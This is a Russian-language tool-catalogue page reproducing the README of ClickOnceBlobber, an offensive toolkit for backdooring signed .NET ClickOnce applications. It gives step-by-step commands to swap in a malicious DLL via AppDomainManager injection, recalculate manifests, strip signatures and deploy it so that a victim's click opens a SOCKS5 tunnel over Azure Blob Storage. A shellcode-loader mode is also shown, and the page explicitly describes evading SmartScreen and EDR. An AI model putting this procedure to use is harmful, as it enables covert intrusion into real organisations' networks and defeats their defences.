Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ClickOnceBlobber — Используйте подписанные приложения .NET ClickOnce для первоначального доступа путем перехвата зависимой DLL через внедрение AppDomainManager и загрузки порта C# агента ProxyBlob. | Kitploit
Инструменты/GitHubGitHub/dazzyddos/clickonceblobber
Командование и УправлениеСоциальная инженерияRed TeamingРазработка Полезной Нагрузки
GitHubdazzyddos/clickonceblobber

ClickOnceBlobber

Используйте подписанные приложения .NET ClickOnce для первоначального доступа путем перехвата зависимой DLL через внедрение AppDomainManager и загрузки порта C# агента ProxyBlob.

Репозиторий
16822157 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

ClickOnce AppDomainManager Injection Toolkit

Вооружаем подписанные .NET ClickOnce приложения для начального доступа путем перехвата зависимой DLL через внедрение AppDomainManager и загрузки C#-порта агента ProxyBlob. В комплекте идет порт на C# ProxyBlob — SOCKS5-прокси, который туннелирует весь трафик через Azure Blob Storage, маскируясь в средах, где *.blob.core.windows.net внесен в белый список.

Почему это работает

ClickOnce — это технология развертывания Microsoft для .NET-приложений одним щелчком мыши. Когда пользователь переходит по URL .application, Windows загружает и запускает приложение без прав администратора. Атака:

  1. Берется легитимное, подписанное ClickOnce-приложение с существующей репутацией
  2. Заменяется одна из его зависимых DLL на SOCKS5-агент ProxyBlob
  3. Внедряется .exe.config, который сообщает CLR, что нашу DLL нужно загрузить как AppDomainManager
  4. Исправляются хэши манифеста, чтобы они соответствовали новым файлам
  5. Размещается — жертва кликает по ссылке, видит приложение, похожее на настоящее, и открывается SOCKS5-туннель

Хост-файл .exe остается нетронутым и валидно подписанным. SmartScreen видит известный бинарник. EDR видит доверенный процесс, загружающий модули. Ваш агент общается только с Azure Blob Storage по HTTPS.

Структура репозитория

├── clickonce_backdoor.py              # Основной скрипт для бэкдоринга DLL агента ProxyBlob в ClickOnce-приложение
├── examples/
│   ├── ProxyBlobAgent.cs              # DLL-полезная нагрузка агента ProxyBlob для ClickOnce (AppDomainManager)
│   ├── ProxyBlobStandalone.cs         # Автономный консольный агент ProxyBlob (для тестирования)
│   ├── ShellcodeLoader.cs             # Альтернатива: загрузчик шелл-кода
│   └── MessageBoxPoC.cs               # PoC: сообщение (проверяет работу внедрения)
└── README.md

Предварительные требования

Атакующий (Linux/macOS):

  • Python 3.10+
  • Proxy-сервер ProxyBlob (Go-бинарник)
  • Учетная запись Azure Storage (или Azurite для локального тестирования)

Сборочная машина (Windows):

  • .NET Framework csc.exe — находится в C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe (обнаруживается автоматически)
  • NuGet CLI — скачать, поместить nuget.exe рядом со скриптом или добавить в PATH (требуется только для режима --proxyblob)

Скрипт автоматически находит csc.exe и nuget.exe. Для --proxyblob BouncyCastle и ILMerge автоматически устанавливаются через NuGet при первом запуске в каталог packages/ рядом со скриптом (сохраняется между запусками).

Поддержка архитектуры

Код агента архитектурно-нейтрален (нет P/Invoke, нет шелл-кода). Флаг --platform (передается в csc.exe /platform:) управляет тем, как CLR его загружает:

--platformРаботает на x86 WindowsРаботает на x64 WindowsКогда использовать
x86 (по умолчанию)32-бит32-бит (WoW64)Целевое приложение x86
x64✗64-битЦелевое приложение x64
anycpu32-бит64-битАвтономное тестирование или целевое приложение AnyCPU

Проверьте целевое приложение с помощью corflags.exe TargetApp.exe, чтобы определить его платформу.


Использование: пошаговое руководство

Шаг 1 — Настройка Azure Storage

# Создание учетной записи хранения
az storage account create \
    --name yourblobaccount \
    --resource-group yourgroup \
    --sku Premium_LRS \
    --kind BlockBlobStorage

# Получение ключей
az storage account keys list --account-name yourblobaccount --output table

Или используйте Azurite локально:

docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite

Шаг 2 — Запуск Proxy-сервера ProxyBlob

git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make

cat > config.json << 'EOF'
{
    "storage_account_name": "yourblobaccount",
    "storage_account_key": "YOUR_KEY_HERE"
}
EOF

./proxy -c config.json

В оболочке прокси:

proxyblob » create
[+] Created container: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] Connection string: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

Сохраните эту строку подключения — она понадобится агенту.

Шаг 3 — Сначала протестируйте с автономным агентом

Всегда проверяйте, что агент работает независимо, прежде чем интегрировать его в ClickOnce.

На сборочной машине Windows:

# Компиляция
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
    examples\ProxyBlobStandalone.cs ^
    /r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
    /r:System.Net.Http.dll /r:netstandard.dll

# ILMerge в один exe (чтобы BouncyCastle был встроен)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
    /out:Agent.exe ^
    ProxyBlobStandalone.exe ^
    packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
    /targetplatform:v4

# Запуск
Agent.exe <connection-string>

На стороне прокси:

proxyblob » list
  d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 proxy listening on 127.0.0.1:1080

Проверка:

proxychains curl http://ipconfig.io

Если это сработало, переходите к интеграции с ClickOnce.

Шаг 4 — Найдите целевое ClickOnce-приложение

Найдите целевое ClickOnce-приложение во время разведки (ищите URL с .application). Вам нужно:

Загрузите все развертывание ClickOnce:

# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

Шаг 5 — Сборка и исправление одной командой

Скрипт автоматически компилирует C#-исходник, обрабатывает зависимости NuGet (для --proxyblob), выполняет ILMerge BouncyCastle в DLL и исправляет все манифесты — все за один запуск:

# Режим ProxyBlob — автоматическая компиляция, установка NuGet-пакетов, слияние
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
    --output ./output

# Режим PoC — быстрая проверка работы внедрения
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --poc --output ./output

# Режим шелл-кода
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER \
    --shellcode beacon.bin --output ./output

# Целевое приложение x64
python clickonce_backdoor.py \
    --input ./APPLICATION.application \
    --url http://YOUR-SERVER/ \
    --proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
    --platform x64 --output ./output

Скрипт обрабатывает: генерацию C#-исходника с вашими настройками, компиляцию через csc.exe, ILMerge BouncyCastle (для --proxyblob), замену DLL, создание .exe.config с внедрением AppDomainManager, добавление обоих файлов в манифесты, пересчет всех SHA256-хэшей и размеров файлов, удаление подписей кода, обнуление publicKeyToken поставщика и обновление URL поставщика развертывания.

Скачать инструмент